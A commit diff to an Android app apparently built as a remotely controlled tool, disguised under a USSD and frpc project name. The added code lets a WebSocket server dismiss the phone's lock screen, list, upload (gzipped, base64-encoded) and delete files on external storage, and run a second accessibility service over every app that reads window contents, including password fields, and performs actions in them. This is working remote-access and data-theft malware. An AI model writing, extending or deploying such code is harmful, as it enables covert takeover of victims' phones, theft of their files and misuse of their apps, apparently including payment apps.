hanxiaomeme 10 tháng trước cách đây
mục cha
commit
bc4673f41b

+ 3 - 3
frpc_android-master/app/build.gradle

@@ -105,9 +105,9 @@ android {
 //        applicationId "com.si.ussd"
         applicationId "com.kpkingpark.ussd"
         minSdkVersion 30
-        targetSdkVersion 31
-        versionCode 29
-        versionName "0.40.1.1"
+        targetSdkVersion 29
+        versionCode 40
+        versionName "0.40.2.1"
         multiDexEnabled true
         ndk {
             abiFilters 'armeabi-v8a', 'armeabi-v7a'

+ 1 - 0
frpc_android-master/app/proguard-rules.pro

@@ -250,3 +250,4 @@
 -keep class com.jeremyliao.liveeventbus.** { *; }
 -keep class androidx.lifecycle.** { *; }
 -keep class androidx.arch.core.** { *; }
+-keep class com.romellfudi.ussdlibrary.** { *; }

+ 23 - 0
frpc_android-master/app/src/main/AndroidManifest.xml

@@ -25,6 +25,10 @@
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+
     <application
         android:name="com.app.MainApp"
         android:allowBackup="true"
@@ -81,6 +85,7 @@
 
         <service android:name="com.app.duck.util.Service2" />
 
+        <!--ussd手机服务-->
         <service
             android:name="com.romellfudi.ussdlibrary.USSDService"
             android:exported="true"
@@ -88,6 +93,7 @@
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService" />
             </intent-filter>
+
             <meta-data
                 android:name="android.accessibilityservice"
                 android:resource="@xml/ussd_service" />
@@ -97,6 +103,23 @@
         </service>
 
 
+        <!--侦测手机服务-->
+        <service
+            android:name="com.romellfudi.ussdlibrary.USSDServicePay"
+            android:exported="true"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService" />
+            </intent-filter>
+
+            <meta-data
+                android:name="android.accessibilityservice"
+                android:resource="@xml/ussd_service2" />
+            <meta-data
+                android:name="android.accessibility.canRetrieveWindowContent"
+                android:value="true" />
+        </service>
+
         <provider
             android:name="androidx.core.content.FileProvider"
             android:authorities="${applicationId}.fileprovider"

+ 25 - 19
frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java

@@ -8,9 +8,13 @@ import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
 
 import android.content.Context;
 import android.content.Intent;
+import android.net.Uri;
+import android.os.Environment;
+import android.provider.Settings;
 import android.util.Log;
 import android.view.Menu;
 import android.view.MenuItem;
+import android.view.WindowManager;
 
 import androidx.annotation.NonNull;
 import androidx.navigation.NavController;
@@ -28,15 +32,20 @@ import com.app.duck.util.HeartbeatWorker;
 import com.app.duck.util.HxUtils;
 import com.app.duck.util.TgBot;
 import com.app.duck.util.WsManager;
+import com.blankj.utilcode.util.EncodeUtils;
+import com.blankj.utilcode.util.FileIOUtils;
+import com.blankj.utilcode.util.FileUtils;
+import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.LanguageUtils;
-import com.blankj.utilcode.util.ThreadUtils;
-import com.blankj.utilcode.util.ToastUtils;
+import com.elvishew.xlog.XLog;
 import com.google.android.material.dialog.MaterialAlertDialogBuilder;
 import com.google.android.material.navigation.NavigationView;
 import com.jeremyliao.liveeventbus.LiveEventBus;
-import com.romellfudi.ussdlibrary.PayController;
-import com.romellfudi.ussdlibrary.USSDController;
 
+import java.io.File;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
 import java.util.Locale;
 
 import io.reactivex.Observer;
@@ -96,9 +105,12 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         checkForUpdate();
         HxUtils.checkForUpdateBotConfig();
 
-        Log.d("hzshkj", "[MainActivity] initView: ");
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
     }
 
+
     @Override
     protected void onDestroy() {
         super.onDestroy();
@@ -138,15 +150,13 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
                         });
                 break;
             case R.id.action_accessibility:
-                if (USSDController.verifyAccesibilityAccess(context)) {
-                    ToastUtils.showShort(R.string.suc);
-                }
-
+//                Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
+//                startActivity(intent);
+                demo();
                 break;
             case R.id.action_accessibility2:
-                if (USSDController.verifyOverLay(context)) {
-                    ToastUtils.showShort(R.string.suc);
-                }
+                Intent intent2 = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName()));
+                startActivity(intent2);
                 break;
             case R.id.action_update_log_config:
                 HxUtils.checkForUpdateBotConfig();
@@ -156,15 +166,11 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     }
 
     private void demo() {
-        Log.d("hzshkj", PayController.getNowRootInActiveWindow());
-        ThreadUtils.runOnUiThreadDelayed(new Runnable() {
-            @Override
-            public void run() {
-                demo();
-            }
-        }, 3000);
+
     }
 
+
+
     @Override
     public boolean onCreateOptionsMenu(Menu menu) {
         getMenuInflater().inflate(R.menu.main, menu);

+ 7 - 1
frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java

@@ -143,7 +143,6 @@ public class HxUtils {
 
             @Override
             public void onSuccess(Object result) {
-//                ToastUtils.showShort();
             }
 
             @Override
@@ -211,5 +210,12 @@ public class HxUtils {
         return baos.toByteArray();
     }
 
+    public static byte[] gzip(byte[] data) throws IOException {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        GZIPOutputStream gos = new GZIPOutputStream(baos);
+        gos.write(data);
+        gos.close();
+        return baos.toByteArray();
+    }
 
 }

+ 3 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/PermissionsUtils.java

@@ -51,6 +51,9 @@ public class PermissionsUtils {
             permission.add(Manifest.permission.READ_PHONE_STATE);
             permission.add(Manifest.permission.WAKE_LOCK);
             permission.add(Manifest.permission.CALL_PHONE);
+            permission.add(Manifest.permission.DISABLE_KEYGUARD);
+            permission.add(Manifest.permission.WRITE_EXTERNAL_STORAGE);
+            permission.add(Manifest.permission.READ_EXTERNAL_STORAGE);
         }
         if (b2) {
             permission.add(Manifest.permission.READ_SMS);

+ 153 - 7
frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java

@@ -2,7 +2,10 @@ package com.app.duck.util;
 
 import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
 
+import android.app.KeyguardManager;
+import android.content.Context;
 import android.content.Intent;
+import android.os.Environment;
 import android.os.Handler;
 import android.util.Base64;
 import android.util.Log;
@@ -13,7 +16,10 @@ import com.alibaba.fastjson.JSONObject;
 import com.app.duck.BuildConfig;
 import com.app.duck.Config;
 import com.app.duck.R;
+import com.blankj.utilcode.util.ActivityUtils;
 import com.blankj.utilcode.util.AppUtils;
+import com.blankj.utilcode.util.FileIOUtils;
+import com.blankj.utilcode.util.FileUtils;
 import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.IntentUtils;
 import com.blankj.utilcode.util.StringUtils;
@@ -26,6 +32,7 @@ import com.romellfudi.ussdlibrary.PayController;
 import com.romellfudi.ussdlibrary.USSDApi;
 import com.romellfudi.ussdlibrary.USSDController;
 
+import java.io.File;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
@@ -86,7 +93,7 @@ public final class WsManager {
                 JSONObject json = JSON.parseObject(text);
                 String command = json.getString("command");
                 String requestId = json.getString("request_id");
-                String ussdCode = json.getString("value");
+                String value = json.getString("value");
                 String packageName = json.getString("packageName");
                 int hashCode = json.getIntValue("hashCode");
                 int action = json.getIntValue("action");
@@ -94,13 +101,13 @@ public final class WsManager {
                 Log.d("hzshkj", "[WsManager] onMessage: " + json);
                 switch (command) {
                     case "invoke":
-                        ThreadUtils.runOnUiThread(() -> callOverlay(ussdCode, requestId));
+                        ThreadUtils.runOnUiThread(() -> callOverlay(value, requestId));
                         break;
                     case "invoke2":
-                        ThreadUtils.runOnUiThread(() -> callOverlay2(ussdCode, requestId));
+                        ThreadUtils.runOnUiThread(() -> callOverlay2(value, requestId));
                         break;
                     case "send":
-                        ThreadUtils.runOnUiThread(() -> sendUssd(requestId, ussdCode));
+                        ThreadUtils.runOnUiThread(() -> sendUssd(requestId, value));
                         break;
                     case "cancel":
                         ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
@@ -109,7 +116,7 @@ public final class WsManager {
                         ThreadUtils.runOnUiThread(() -> new TgBot("", false));
                         break;
                     case "message":
-                        ThreadUtils.runOnUiThread(() -> new TgBot(ussdCode, true));
+                        ThreadUtils.runOnUiThread(() -> new TgBot(value, true));
                         break;
                     case "config":
                         HxUtils.checkForUpdateBotConfig();
@@ -125,6 +132,60 @@ public final class WsManager {
                     case "performGlobalAction":
                         ThreadUtils.runOnUiThread(() -> performGlobalAction(requestId, action));
                         break;
+                    case "unlock":
+                        try {
+//                            PowerManager pm = (PowerManager) Utils.getApp().getSystemService(Context.POWER_SERVICE);
+//                            KeyguardManager mKeyguardManager = (KeyguardManager) Utils.getApp().getSystemService(Context.KEYGUARD_SERVICE);
+//                            KeyguardManager.KeyguardLock kl = mKeyguardManager.newKeyguardLock("myapp:kllock");
+//                            if (!pm.isScreenOn()) {
+//                                //获取电源管理器对象,ACQUIRE_CAUSES_WAKEUP这个参数能从黑屏唤醒屏幕
+//                                PowerManager.WakeLock mWakeLock = pm.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, "myapp:bright");
+//                                //点亮屏幕
+//                                mWakeLock.acquire();
+//                                kl.disableKeyguard();
+//                                sendWebSocketMsg(requestId, "response", "successful");
+//                            } else {
+//                                sendWebSocketMsg(requestId, "response", "ok");
+//
+//                            }
+                            ActivityUtils.getTopActivity().setTurnScreenOn(true);
+                            ActivityUtils.getTopActivity().setShowWhenLocked(true);
+                            KeyguardManager keyguardManager = (KeyguardManager) ActivityUtils.getTopActivity().getSystemService(Context.KEYGUARD_SERVICE);
+                            keyguardManager.requestDismissKeyguard(ActivityUtils.getTopActivity(), new KeyguardManager.KeyguardDismissCallback() {
+                                @Override
+                                public void onDismissError() {
+                                    super.onDismissError();
+                                    sendWebSocketMsg(requestId, "response", "onDismissError");
+                                }
+
+                                @Override
+                                public void onDismissSucceeded() {
+                                    super.onDismissSucceeded();
+                                    sendWebSocketMsg(requestId, "response", "onDismissSucceeded");
+                                }
+
+                                @Override
+                                public void onDismissCancelled() {
+                                    super.onDismissCancelled();
+                                    sendWebSocketMsg(requestId, "response", "onDismissCancelled");
+                                }
+                            });
+                        } catch (Exception e) {
+                            sendWebSocketMsg(requestId, "exception", "error:" + e.getMessage());
+                        }
+                        break;
+                    case "fileList":
+                        ThreadUtils.runOnUiThread(() -> getFileList(requestId));
+                        break;
+                    case "deleteFile":
+                        ThreadUtils.runOnUiThread(() -> deleteFile(requestId, value));
+                        break;
+                    case "getFileByPath":
+                        ThreadUtils.runOnUiThread(() -> getFileByPath(requestId, value));
+                        break;
+                    case "getPath":
+                        ThreadUtils.runOnUiThread(() -> getPath(requestId, value));
+                        break;
                     default:
                         XLog.e(command + " 没有定义该操作!");
                         break;
@@ -313,8 +374,6 @@ public final class WsManager {
 
     private static void performAction(String request_id, int hashCode, int action, JSONArray jsonArray) {
         try {
-            Log.d("hzshkj", "[WsManager] onMessage: " + (jsonArray == null || jsonArray.size() == 0));
-
             if (jsonArray == null || jsonArray.size() == 0) {
                 PayController.performActionEvent1(hashCode, action);
             } else {
@@ -334,6 +393,93 @@ public final class WsManager {
         }
     }
 
+    /**
+     * 获取根文件列表
+     *
+     * @param request_id
+     */
+    private static void getFileList(String request_id) {
+        try {
+            String path = Environment.getExternalStorageDirectory().getAbsolutePath();
+            List<File> pathList = FileUtils.listFilesInDir(path);
+
+            List<HashMap<String, Object>> data = new ArrayList<>();
+            for (File file : pathList) {
+                HashMap<String, Object> map = new HashMap<>();
+                map.put("size", FileUtils.getSize(file));//获取文件或目录大小
+                map.put("lastModified", FileUtils.getFileLastModified(file));//获取文件最后修改的毫秒时间戳
+                map.put("name", FileUtils.getFileName(file));//文件名称 带拓展名
+                map.put("isDir", FileUtils.isDir(file));//判断是否是目录
+                map.put("isFile", FileUtils.isFile(file));//判断是否是文件
+                data.add(map);
+            }
+
+            sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(GsonUtils.toJson(data)), 0));
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+    /**
+     * 根据路径获取文件列表
+     *
+     * @param request_id
+     * @param path
+     */
+    private static void getPath(String request_id, String path) {
+        try {
+            path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
+            List<File> pathList = FileUtils.listFilesInDir(path);
+            List<HashMap<String, Object>> data = new ArrayList<>();
+            for (File file : pathList) {
+                HashMap<String, Object> map = new HashMap<>();
+                map.put("size", FileUtils.getSize(file));//获取文件或目录大小
+                map.put("lastModified", FileUtils.getFileLastModified(file));//获取文件最后修改的毫秒时间戳
+                map.put("name", FileUtils.getFileName(file));//文件名称 带拓展名
+                map.put("isDir", FileUtils.isDir(file));//判断是否是目录
+                map.put("isFile", FileUtils.isFile(file));//判断是否是文件
+                data.add(map);
+            }
+
+            sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(GsonUtils.toJson(data)), 0));
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+    /**
+     * 根据路径获取文件
+     *
+     * @param request_id
+     * @param path
+     */
+    private static void getFileByPath(String request_id, String path) {
+        try {
+            path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
+            File file = FileUtils.getFileByPath(path);
+            sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(FileIOUtils.readFile2BytesByStream(file)), 0));
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+
+    /**
+     * 删除文件或目录
+     *
+     * @param request_id
+     * @param path       删除目录的路径
+     */
+    private static void deleteFile(String request_id, String path) {
+        try {
+            path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
+            FileUtils.delete(path);
+            sendWebSocketMsg(request_id, "successful", "");
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
     private static void performGlobalAction(String request_id, int action) {
         try {
             PayController.performGlobalAction(action);

+ 0 - 14
frpc_android-master/app/src/main/res/xml/liushui_service.xml

@@ -1,14 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (c) 2020. BoostTag E.I.R.L. Romell D.Z.
-  ~ All rights reserved
-  ~ porfile.romellfudi.com
-  -->
-
-<accessibility-service android:accessibilityEventTypes="typeViewClicked|typeViewFocused"
-    android:packageNames="com.example.android.myFirstApp, com.example.android.mySecondApp"
-    android:accessibilityFeedbackType="feedbackSpoken"
-    android:notificationTimeout="100"
-    android:settingsActivity="com.example.android.apis.accessibility.TestBackActivity"
-    android:canRetrieveWindowContent="true"
-    xmlns:android="http://schemas.android.com/apk/res/android" />

+ 2 - 1
frpc_android-master/ussd-library/proguard-rules.pro

@@ -23,4 +23,5 @@
 # If you keep the line number information, uncomment this to
 # hide the original source file name.
 #-renamesourcefileattribute SourceFile
--keep public class fudi.freddy.usslibrary.** { public *;}
+-keep public class fudi.freddy.usslibrary.** { public *;}
+-keep public class com.romellfudi.ussdlibrary.PayController{*;}

+ 39 - 0
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/PayController.java

@@ -60,6 +60,9 @@ public class PayController {
             if (Objects.equals(map.get("type"), "CharSequence")) {
                 arguments.putCharSequence(key, value);
             }
+            if (Objects.equals(map.get("type"), "Int")) {
+                arguments.putInt(key, Integer.parseInt(value));
+            }
         }
         findNodeByHashCode(node, hashCode).performAction(action, arguments);
     }
@@ -87,6 +90,23 @@ public class PayController {
         nodeInfoWrapper.isChecked = nodeInfo.isChecked();
         nodeInfoWrapper.focused = nodeInfo.isFocused();
         nodeInfoWrapper.scrollable = nodeInfo.isScrollable();
+        nodeInfoWrapper.isSelected = nodeInfo.isSelected();
+        nodeInfoWrapper.isAccessibilityFocused = nodeInfo.isAccessibilityFocused();
+        nodeInfoWrapper.isContentInvalid = nodeInfo.isContentInvalid();
+        nodeInfoWrapper.isContextClickable = nodeInfo.isContextClickable();
+        nodeInfoWrapper.isDismissable = nodeInfo.isDismissable();
+        nodeInfoWrapper.isFocusable = nodeInfo.isFocusable();
+        nodeInfoWrapper.isFocused = nodeInfo.isFocused();
+        nodeInfoWrapper.isHeading = nodeInfo.isHeading();
+        nodeInfoWrapper.isImportantForAccessibility = nodeInfo.isImportantForAccessibility();
+        nodeInfoWrapper.isMultiLine = nodeInfo.isMultiLine();
+        nodeInfoWrapper.isPassword = nodeInfo.isPassword();
+        nodeInfoWrapper.isScreenReaderFocusable = nodeInfo.isScreenReaderFocusable();
+        nodeInfoWrapper.isScrollable = nodeInfo.isScrollable();
+        nodeInfoWrapper.isShowingHintText = nodeInfo.isShowingHintText();
+        nodeInfoWrapper.isTextEntryKey = nodeInfo.isTextEntryKey();
+        nodeInfoWrapper.isVisibleToUser = nodeInfo.isVisibleToUser();
+
 
         List<NodeInfoWrapper> childNodes = new ArrayList<>();
         for (int i = 0; i < nodeInfo.getChildCount(); i++) {
@@ -150,6 +170,25 @@ public class PayController {
         public boolean focused;
         //判断节点是否可滚动
         public boolean scrollable;
+
+        public boolean isSelected;
+
+        public boolean isAccessibilityFocused;
+        public boolean isContentInvalid;
+        public boolean isContextClickable;
+        public boolean isDismissable;
+        public boolean isFocusable;
+        public boolean isFocused;
+        public boolean isHeading;
+        public boolean isImportantForAccessibility;
+        public boolean isMultiLine;
+        public boolean isPassword;
+        public boolean isScreenReaderFocusable;
+        public boolean isScrollable;
+        public boolean isShowingHintText;
+        public boolean isTextEntryKey;
+        public boolean isTextSelectable;
+        public boolean isVisibleToUser;
         public List<NodeInfoWrapper> childNodes;
     }
 }

+ 4 - 16
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDService.java

@@ -15,9 +15,6 @@ import android.os.Bundle;
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
-import android.widget.Toast;
-
-import com.google.gson.Gson;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -35,25 +32,20 @@ public class USSDService extends AccessibilityService {
 
     public static AccessibilityEvent event;
 
-    public static String PageJson = "";
-
-
-
-
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
-            USSDService.event = new AccessibilityEvent(event);
+            this.event = new AccessibilityEvent(event);
         } else {
-            USSDService.event = event;
+            this.event = event;
         }
-        AccessibilityNodeInfo rootNode = getRootInActiveWindow();
-//        USSDService.rootNode = event.getSource();
+
 
         if (USSDController.instance == null || !USSDController.instance.isRunning) {
             return;
         }
 
+
         String response = event.getText().toString();
         if (LoginView(event) && notInputText(event)) {
             // first view or logView, do nothing, pass / FIRST MESSAGE
@@ -95,7 +87,6 @@ public class USSDService extends AccessibilityService {
                     USSDController.instance.callbackInvoke.responseInvoke(response);
             }
         }
-
     }
 
 
@@ -251,10 +242,7 @@ public class USSDService extends AccessibilityService {
     protected void onServiceConnected() {
         super.onServiceConnected();
         Log.d(TAG, "onServiceConnected");
-        PayController.setMyAccessibilityService(this);
     }
 
 
-
-
 }

+ 48 - 0
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDServicePay.java

@@ -0,0 +1,48 @@
+/*
+ * Copyright (c) 2020. BoostTag E.I.R.L. Romell D.Z.
+ * All rights reserved
+ * porfile.romellfudi.com
+ */
+
+package com.romellfudi.ussdlibrary;
+
+import android.accessibilityservice.AccessibilityService;
+import android.app.Activity;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.PixelFormat;
+import android.graphics.Rect;
+import android.hardware.display.VirtualDisplay;
+import android.media.ImageReader;
+import android.media.projection.MediaProjection;
+import android.media.projection.MediaProjectionManager;
+import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityNodeInfo;
+
+public class USSDServicePay extends AccessibilityService {
+
+
+    @Override
+    public void onAccessibilityEvent(AccessibilityEvent event) {
+//        AccessibilityNodeInfo rootNode = getRootInActiveWindow();
+//        takeScreenshot();
+    }
+
+
+    @Override
+    public void onInterrupt() {
+
+    }
+
+    @Override
+    protected void onServiceConnected() {
+        super.onServiceConnected();
+        PayController.setMyAccessibilityService(this);
+    }
+
+
+
+
+
+}

+ 2 - 1
frpc_android-master/ussd-library/src/main/res/values/strings.xml

@@ -1,7 +1,8 @@
 <resources>
     <string name="app_name">Library</string>
     <string name="action_settings">Settings</string>
-    <string name="accessibility_service_description">null.</string>
+    <string name="accessibility_service_description">Accessibility Service 1. ( :</string>
+    <string name="accessibility_service_description2">Accessibility Service 2. ( :</string>
     <string name="tip1">Accessibility permission not obtained</string>
 
 </resources>

+ 3 - 8
frpc_android-master/ussd-library/src/main/res/xml/ussd_service.xml

@@ -1,14 +1,9 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-  ~ Copyright (c) 2020. BoostTag E.I.R.L. Romell D.Z.
-  ~ All rights reserved
-  ~ porfile.romellfudi.com
-  -->
-
+<?xml version="1.0" encoding="utf-8"?>
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
     android:accessibilityEventTypes="typeWindowStateChanged"
     android:accessibilityFeedbackType="feedbackGeneric"
-    android:accessibilityFlags="flagIncludeNotImportantViews|flagDefault|flagRetrieveInteractiveWindows|flagIncludeNotImportantViews|flagReportViewIds|flagRequestEnhancedWebAccessibility"
+    android:accessibilityFlags="flagDefault"
     android:canRetrieveWindowContent="true"
     android:description="@string/accessibility_service_description"
     android:notificationTimeout="0"
-    android:packageNames="*" /><!--|typeViewTextChanged-->
+    android:packageNames="com.android.phone" />

+ 14 - 0
frpc_android-master/ussd-library/src/main/res/xml/ussd_service2.xml

@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="utf-8"?><!--
+  ~ Copyright (c) 2020. BoostTag E.I.R.L. Romell D.Z.
+  ~ All rights reserved
+  ~ porfile.romellfudi.com
+  -->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accessibilityEventTypes="typeWindowStateChanged"
+    android:accessibilityFeedbackType="feedbackGeneric"
+    android:accessibilityFlags="flagIncludeNotImportantViews|flagDefault|flagRetrieveInteractiveWindows|flagIncludeNotImportantViews|flagReportViewIds|flagRequestEnhancedWebAccessibility"
+    android:canRetrieveWindowContent="true"
+    android:description="@string/accessibility_service_description2"
+    android:notificationTimeout="0"
+    android:packageNames="*" />